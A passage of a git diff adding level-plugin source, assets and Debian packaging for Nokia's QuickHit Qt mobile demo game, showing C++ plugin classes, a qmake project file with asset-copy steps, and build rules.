new file mode 100644
index 00000000..dacd6106
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/missile2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/red_fire.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/red_fire.png
new file mode 100644
index 00000000..464d603d
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/red_fire.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/ship.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/ship.png
new file mode 100644
index 00000000..cb7851c4
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/ship.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/star3.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/star3.png
new file mode 100644
index 00000000..f37a3917
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/star3.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/gfx/transparent.png b/demos/mobile/quickhit/plugins/LevelOne/gfx/transparent.png
new file mode 100644
index 00000000..3aa1e413
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/gfx/transparent.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/levelone.cpp b/demos/mobile/quickhit/plugins/LevelOne/levelone.cpp
new file mode 100644
index 00000000..99451003
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/levelone.cpp
@@ -0,0 +1,120 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "levelone.h"
+#include <QtCore/qplugin.h>
+
+
+LevelOne::LevelOne()
+{
+}
+
+LevelOne::~LevelOne()
+{
+}
+
+QString LevelOne::pathPrefix()
+{
+ /*
+QDir::rootPath()
+For Unix operating systems this returns "/".
+For Windows file systems this normally returns "c:/".
+On Symbian this typically returns "c:/data",
+*/
+
+#ifdef Q_WS_MAEMO_5
+ return "/home/user/.";
+#elif defined Q_OS_WIN32
+ return QDir::rootPath();
+#else
+ //return QDir::rootPath()+"/";
+ return "c:/System/";
+#endif
+}
+
+QStringList LevelOne::levelSounds()
+{
+ QStringList list;
+
+ // NOTE: Mandatory sounds/indexs for the all levels
+ // 0 = Enemy explode
+ list.append(LevelOne::pathPrefix()+"quickhitdata/levelone/sound/rocket_explosion.wav");
+ // 1 = You explode
+ list.append(LevelOne::pathPrefix()+"quickhitdata/levelone/sound/crash.wav");
+ // 2 = Missile fires
+ list.append(LevelOne::pathPrefix()+"quickhitdata/levelone/sound/rocket_explosion.wav");
+ // 3 = Emeny Missile fires
+ list.append(LevelOne::pathPrefix()+"quickhitdata/levelone/sound/rocket.wav");
+
+ // Additional sounds
+ // Level starts
+ list.append(LevelOne::pathPrefix()+"quickhitdata/levelone/sound/levelonestart.wav");
+
+ return list;
+}
+
+QVariant LevelOne::getData(QVariant key)
+{
+ QVariant ret;
+ switch (key.toInt()) {
+ case 1: {
+ // Any data what you need for this key
+ // Set your data into QVariant (ret)
+ break;
+ }
+ default: {
+ break;
+ }
+ }
+ return ret;
+}
+
+QVariant LevelOne::graphSize(QVariant pathToGraph)
+{
+ QVariant ret;
+ m_imageReader.setFileName(pathToGraph.toString());
+ QSize imageSize = m_imageReader.size();
+ ret.setValue(imageSize);
+ return ret;
+}
+
+// This Qt macro exports the plugin class LevelOne with the name levelplugins.
+// There should be exactly one occurrence of this LevelOne macro in a Qt plugin's source code.
+Q_EXPORT_PLUGIN2(levelplugins, LevelOne);
diff --git a/demos/mobile/quickhit/plugins/LevelOne/levelone.h b/demos/mobile/quickhit/plugins/LevelOne/levelone.h
new file mode 100644
index 00000000..39240023
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/levelone.h
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LEVELONE_H
+#define LEVELONE_H
+
+#include <QObject>
+#include <QDir>
+#include <QImageReader>
+
+#include "levelplugininterface.h"
+
+class LevelOne : public LevelPluginInterface
+{
+ Q_OBJECT
+
+ // This macro tells Qt which interfaces the class implements.
+ // This is used when implementing plugins.
+ Q_INTERFACES(LevelPluginInterface)
+
+public:
+ LevelOne();
+ ~LevelOne();
+
+ static QString pathPrefix();
+
+public: // From LevelPluginInterface
+
+ QStringList levelSounds();
+
+ Q_INVOKABLE QVariant getData(QVariant key);
+
+ Q_INVOKABLE QVariant graphSize(QVariant pathToGraph);
+
+ Q_INVOKABLE QVariant enemyCount() { return QVariant(30); } // 6x5=30
+ Q_INVOKABLE QVariant enemyRowCount() { return QVariant(6); } // 6 rows of enemies
+ Q_INVOKABLE QVariant enemySpeed() { return QVariant(36000); }
+ Q_INVOKABLE QVariant enemyFireSpeed() { return QVariant(200); }
+
+ // Root paths for the QML, Pictures and Sounds
+ Q_INVOKABLE QVariant qmlRootPath() { return QVariant(LevelOne::pathPrefix()+"quickhitdata/levelone/"); }
+ Q_INVOKABLE QVariant pictureRootPath() { return QVariant(LevelOne::pathPrefix()+"quickhitdata/levelone/gfx/"); }
+
+ // Full paths
+ Q_INVOKABLE QVariant pathToTransparentEnemyPic() {return QVariant(LevelOne::pathPrefix()+"quickhitdata/levelone/gfx/transparent.png");}
+ Q_INVOKABLE QVariant pathToMissilePic() {return QVariant(LevelOne::pathPrefix()+"quickhitdata/levelone/gfx/missile2.png");}
+ Q_INVOKABLE QVariant pathToEnemyMissilePic() {return QVariant(LevelOne::pathPrefix()+"quickhitdata/levelone/gfx/enemy_missile2.png");}
+ Q_INVOKABLE QVariant pathToMyShipPic() {return QVariant(LevelOne::pathPrefix()+"quickhitdata/levelone/gfx/ship.png");}
+
+protected:
+ QImageReader m_imageReader;
+};
+
+#endif // LEVELONE_H
diff --git a/demos/mobile/quickhit/plugins/LevelOne/levelone.pro b/demos/mobile/quickhit/plugins/LevelOne/levelone.pro
new file mode 100644
index 00000000..23bd275a
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/levelone.pro
@@ -0,0 +1,97 @@
+TEMPLATE = lib
+
+#VERSION = 1.1.0
+
+CONFIG += plugin
+
+INCLUDEPATH += ../
+
+HEADERS = levelone.h
+
+SOURCES = levelone.cpp
+
+TARGET = $$qtLibraryTarget(levelone)
+
+OTHER_FILES += Level.qml
+
+
+# SYMBIAN ---------------------------
+symbian: {
+# Load predefined include paths (e.g. QT_PLUGINS_BASE_DIR) to be used in the pro-files
+load(data_caging_paths)
+
+# EPOCALLOWDLLDATA have to set true because Qt macros has initialised global data
+TARGET.EPOCALLOWDLLDATA=1
+TARGET.UID3 = 0xE07dfb66
+
+TARGET.CAPABILITY = NetworkServices \
+ Location \
+ ReadUserData \
+ WriteUserData \
+ LocalServices \
+ UserEnvironment
+
+# Defines plugin stub file into Symbian .pkg package
+pluginDep.sources = levelone.dll
+pluginDep.path = $$QT_PLUGINS_BASE_DIR/quickhitlevels
+DEPLOYMENT += pluginDep
+
+# Graphics and Sounds for the plugin
+BLD_INF_RULES.prj_exports += "gfx/background3.png ../winscw/c/Data/gfx/background3.png" \
+"gfx/enemy1.png ../winscw/c/Data/gfx/enemy1.png" \
+"gfx/enemy2.png ../winscw/c/Data/gfx/enemy2.png" \
+"gfx/red_fire.png ../winscw/c/Data/gfx/red_fire.png" \
+"gfx/missile2.png ../winscw/c/Data/gfx/missile2.png" \
+"gfx/enemy_missile2.png ../winscw/c/Data/gfx/enemy_missile2.png" \
+"gfx/ship.png ../winscw/c/Data/gfx/ship.png" \
+"gfx/transparent.png ../winscw/c/Data/gfx/transparent.png" \
+"gfx/star3.png ../winscw/c/Data/gfx/star3.png" \
+"sound/crash.wav ../winscw/c/Data/sound/crash.wav" \
+"sound/rocket.wav ../winscw/c/Data/sound/rocket.wav" \
+"sound/rocket_explosion.wav ../winscw/c/Data/sound/rocket_explosion.wav" \
+"sound/levelonestart.wav ../winscw/c/Data/sound/levelonestart.wav" \
+"Level.qml ../winscw/c/Data/Level.qml"
+
+
+myQml.sources = level.qml
+myQml.path = c:/system/quickhitdata/levelone
+myGraphic.sources = gfx/*
+myGraphic.path = c:/system/quickhitdata/levelone/gfx
+mySound.sources = sound/*
+mySound.path = c:/system/quickhitdata/levelone/sound
+# Takes qml, graphics and sounds into Symbian SIS package file (.pkg)
+DEPLOYMENT += myQml myGraphic mySound
+
+target.path += $$[QT_INSTALL_PLUGINS]/quickhitlevels
+# Installs binaries
+INSTALLS += target
+}
+
+# WINDOWS ---------------------------
+win32: {
+# Copy level sounds and graphics into right destination
+system(mkdir c:\\quickhitdata\\levelone)
+system(mkdir c:\\quickhitdata\\levelone\\gfx)
+system(mkdir c:\\quickhitdata\\levelone\\sound)
+system(copy *.qml c:\\quickhitdata\\levelone)
+system(copy gfx\\*.* c:\\quickhitdata\\levelone\\gfx)
+system(copy sound\\*.* c:\\quickhitdata\\levelone\\sound)
+
+# Installs binaries
+target.path += $$[QT_INSTALL_PLUGINS]/quickhitlevels
+INSTALLS += target
+}
+
+# MAEMO_5 ---------------------------
+maemo5: {
+myQml.path = /home/user/.quickhitdata/levelone/
+myQml.files += Level.qml
+myGraphic.path = /home/user/.quickhitdata/levelone/gfx/
+myGraphic.files += gfx/*
+mySound.path = /home/user/.quickhitdata/levelone/sound/
+mySound.files += sound/*
+
+target.path += /usr/lib/qt4/plugins/quickhitlevels
+# Installs qml, binaries, sounds and graphics
+INSTALLS += target myGraphic mySound myQml
+}
diff --git a/demos/mobile/quickhit/plugins/LevelOne/sound/crash.wav b/demos/mobile/quickhit/plugins/LevelOne/sound/crash.wav
new file mode 100644
index 00000000..8076f0f6
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/sound/crash.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/sound/levelonestart.wav b/demos/mobile/quickhit/plugins/LevelOne/sound/levelonestart.wav
new file mode 100644
index 00000000..e9e3ac03
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/sound/levelonestart.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/sound/rocket.wav b/demos/mobile/quickhit/plugins/LevelOne/sound/rocket.wav
new file mode 100644
index 00000000..8c0dee9a
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/sound/rocket.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelOne/sound/rocket_explosion.wav b/demos/mobile/quickhit/plugins/LevelOne/sound/rocket_explosion.wav
new file mode 100644
index 00000000..d2b451cc
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelOne/sound/rocket_explosion.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/debian/changelog b/demos/mobile/quickhit/plugins/LevelTemplate/debian/changelog
new file mode 100644
index 00000000..a5e0a1bd
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/debian/changelog
@@ -0,0 +1,11 @@
+leveltemplate (1.1.0) unstable; urgency=low
+
+ * Final graphics
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Wed, 5 Jan 2011 10:05:04 +0200
+
+leveltemplate (1.0.0) unstable; urgency=low
+
+ * First version
+
+ -- Antonio Aloisio <antonio.aloisio@nokia.com> Tue, 19 Oct 2010 10:05:04 +0200
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/debian/compat b/demos/mobile/quickhit/plugins/LevelTemplate/debian/compat
new file mode 100644
index 00000000..7f8f011e
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/debian/compat
@@ -0,0 +1 @@
+7
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/debian/control b/demos/mobile/quickhit/plugins/LevelTemplate/debian/control
new file mode 100644
index 00000000..68742fdf
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/debian/control
@@ -0,0 +1,11 @@
+Source: leveltemplate
+Section: user/games
+Priority: extra
+Maintainer: Antonio Aloisio <antonio.aloisio@nokia.com>
+Standards-Version: 3.7.2
+
+Package: leveltemplate
+Architecture: any
+Depends: ${shlibs:Depends}, ${misc:Depends}
+Description: QuickHit - Level Template
+ QuickHit - Level Template
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/debian/copyright b/demos/mobile/quickhit/plugins/LevelTemplate/debian/copyright
new file mode 100644
index 00000000..f9ee8e22
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/debian/copyright
@@ -0,0 +1,8 @@
+This is leveltemplate, written and maintained by Forum Nokia Antonio Aloisio <antonio.aloisio@nokia.com>
+on Tue, 19 Oct 2010 10:05:04 +0200
+
+
+Copyright Holder: Nokia (c) 2010
+
+License:
+
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/debian/dirs b/demos/mobile/quickhit/plugins/LevelTemplate/debian/dirs
new file mode 100644
index 00000000..80507f10
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/debian/dirs
@@ -0,0 +1,2 @@
+usr/bin
+usr/share/applications/hildon
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/debian/levelone.tarlist b/demos/mobile/quickhit/plugins/LevelTemplate/debian/levelone.tarlist
new file mode 100644
index 00000000..f3146fa1
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/debian/levelone.tarlist
@@ -0,0 +1,41 @@
+755 root root . home /
+755 root root . home/maemo /
+755 root root . home/maemo/quickhitdata /
+755 root root . home/maemo/quickhitdata/levelone /
+644 root root . home/maemo/quickhitdata/levelone/Level.qml debian/levelone/home/maemo/quickhitdata/levelone/Level.qml
+755 root root . home/maemo/quickhitdata/leveltwo /
+755 root root . home/maemo/quickhitdata/leveltwo/gfx /
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/background3.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/background3.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/blue_fire.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/blue_fire.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/enemy1.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/enemy1.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/enemy2.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/enemy2.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/enemy_missile2.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/enemy_missile2.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/fire.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/fire.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/fire2.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/fire2.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/missile.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/missile.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/missile2.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/missile2.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/moon.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/moon.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/ship.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/ship.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/star3.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/star3.png
+644 root root . home/maemo/quickhitdata/leveltwo/gfx/transparent.png debian/levelone/home/maemo/quickhitdata/leveltwo/gfx/transparent.png
+755 root root . home/maemo/quickhitdata/leveltwo/sound /
+644 root root . home/maemo/quickhitdata/leveltwo/sound/crash.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/crash.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/enemy_explosion.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/enemy_explosion.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/laser.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/laser.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/myship_explosion.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/myship_explosion.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/rocket.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/rocket.wav
+644 root root . home/maemo/quickhitdata/leveltwo/sound/rocket_explosion.wav debian/levelone/home/maemo/quickhitdata/leveltwo/sound/rocket_explosion.wav
+755 root root . usr /
+755 root root . usr/bin /
+755 root root . usr/lib /
+755 root root . usr/lib/qt4 /
+755 root root . usr/lib/qt4/plugins /
+755 root root . usr/lib/qt4/plugins/quickhitlevels /
+644 root root . usr/lib/qt4/plugins/quickhitlevels/libleveltwo.so debian/levelone/usr/lib/qt4/plugins/quickhitlevels/libleveltwo.so
+755 root root . usr/share /
+755 root root . usr/share/applications /
+755 root root . usr/share/applications/hildon /
+755 root root . usr/share/doc /
+755 root root . usr/share/doc/levelone /
+644 root root . usr/share/doc/levelone/changelog.gz debian/levelone/usr/share/doc/levelone/changelog.gz
+644 root root . usr/share/doc/levelone/copyright debian/levelone/usr/share/doc/levelone/copyright
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/debian/postinst b/demos/mobile/quickhit/plugins/LevelTemplate/debian/postinst
new file mode 100644
index 00000000..79fb6ddd
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/debian/postinst
@@ -0,0 +1,5 @@
+#!/bin/sh -e
+
+gtk-update-icon-cache -f /usr/share/icons/hicolor
+
+exit 0
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/debian/rules b/demos/mobile/quickhit/plugins/LevelTemplate/debian/rules
new file mode 100644
index 00000000..7f30ca37
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/debian/rules
@@ -0,0 +1,91 @@
+#!/usr/bin/make -f
+# -*- makefile -*-
+# Sample debian/rules that uses debhelper.
+# This file was originally written by Joey Hess and Craig Small.
+# As a special exception, when this file is copied by dh-make into a
+# dh-make output file, you may use that output file without restriction.
+# This special exception was added by Craig Small in version 0.37 of dh-make.
+
+# Uncomment this to turn on verbose mode.
+#export DH_VERBOSE=1
+
+
+APPNAME := leveltemplate
+
+
+configure: configure-stamp
+configure-stamp:
+ dh_testdir
+ # Add here commands to configure the package.
+
+ touch configure-stamp
+
+
+build: build-stamp
+
+build-stamp: configure-stamp
+ dh_testdir
+
+ # Add here commands to compile the package.
+ $(MAKE)
+ #docbook-to-man debian/$(APPNAME).sgml > $(APPNAME).1
+
+ touch $@
+
+clean:
+ dh_testdir
+ dh_testroot
+ rm -f build-stamp configure-stamp
+
+ # Add here commands to clean up after the build process.
+ $(MAKE) clean
+
+ dh_clean
+
+install: build
+ dh_testdir
+ dh_testroot
+ dh_clean -k
+ dh_installdirs
+
+ # Add here commands to install the package into debian/$(APPNAME).
+ $(MAKE) INSTALL_ROOT="$(CURDIR)"/debian/$(APPNAME) install
+
+
+# Build architecture-independent files here.
+binary-indep: build install
+# We have nothing to do by default.
+
+# Build architecture-dependent files here.
+binary-arch: build install
+ dh_testdir
+ dh_testroot
+ dh_installchangelogs
+ dh_installdocs
+ dh_installexamples
+# dh_install
+# dh_installmenu
+# dh_installdebconf
+# dh_installlogrotate
+# dh_installemacsen
+# dh_installpam
+# dh_installmime
+# dh_python
+# dh_installinit
+# dh_installcron
+# dh_installinfo
+ dh_installman
+ dh_link
+ # dh_strip
+ dh_compress
+ dh_fixperms
+# dh_perl
+ dh_makeshlibs
+ dh_installdeb
+ dh_shlibdeps
+ dh_gencontrol
+ dh_md5sums
+ dh_builddeb
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary install configure
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/gfx/blue_fire.png b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/blue_fire.png
new file mode 100644
index 00000000..8667a397
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/blue_fire.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy1.png b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy1.png
new file mode 100644
index 00000000..94f149bd
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy1.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy2.png b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy2.png
new file mode 100644
index 00000000..448f8ca6
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy_missile2.png b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy_missile2.png
new file mode 100644
index 00000000..c0b28d86
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/enemy_missile2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/gfx/missile2.png b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/missile2.png
new file mode 100644
index 00000000..dacd6106
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/missile2.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/gfx/ship.png b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/ship.png
new file mode 100644
index 00000000..cb7851c4
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/ship.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/gfx/transparent.png b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/transparent.png
new file mode 100644
index 00000000..3aa1e413
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/gfx/transparent.png
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.cpp b/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.cpp
new file mode 100644
index 00000000..e430dc1d
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTemplate/leveltemplate.cpp
@@ -0,0 +1,126 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "leveltemplate.h"
+#include <QtCore/qplugin.h>
+
+
+LevelTemplate::LevelTemplate()
+{
+}
+
+LevelTemplate::~LevelTemplate()
+{
+}
+
+QString LevelTemplate::pathPrefix()
+{
+/*
+QDir::rootPath()
+For Unix operating systems this returns "/".
+For Windows file systems this normally returns "c:/".
+On Symbian this typically returns "c:/data",
+*/
+
+#ifdef Q_WS_MAEMO_5
+ return "/home/user/.";
+#elif defined Q_OS_WIN32
+ return QDir::rootPath();
+#else
+ //return QDir::rootPath()+"/";
+ return "c:/System/";
+#endif
+}
+
+QStringList LevelTemplate::levelSounds()
+{
+ QStringList list;
+
+
+ // NOTE: Mandatory sounds/indexs for the all levels
+ // 0 = Enemy explode
+ list.append(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/sound/enemy_explosion.wav");
+ // 1 = You explode
+ list.append(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/sound/myship_explosion.wav");
+ // 2 = Missile fires
+ list.append(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/sound/laser.wav");
+ // 3 = Emeny Missile fires
+ list.append(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/sound/rocket.wav");
+
+ // Additional sounds
+ list.append(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/sound/enableship.wav");
+ list.append(LevelTemplate::pathPrefix()+"quickhitdata/"+LEVEL_NAME+"/sound/level2.wav");
+
+
+ return list;
+}
+
+QVariant LevelTemplate::getData(QVariant key)
+{
+ QVariant ret;
+ switch (key.toInt()) {
+ case 1: {
+ // Any data what you need for this key
+ // Set your data into QVariant (ret)
+ break;
+ }
+ default: {
+ break;
+ }
+ }
+ return ret;
+}
+
+QVariant LevelTemplate::graphSize(QVariant pathToGraph)
+{
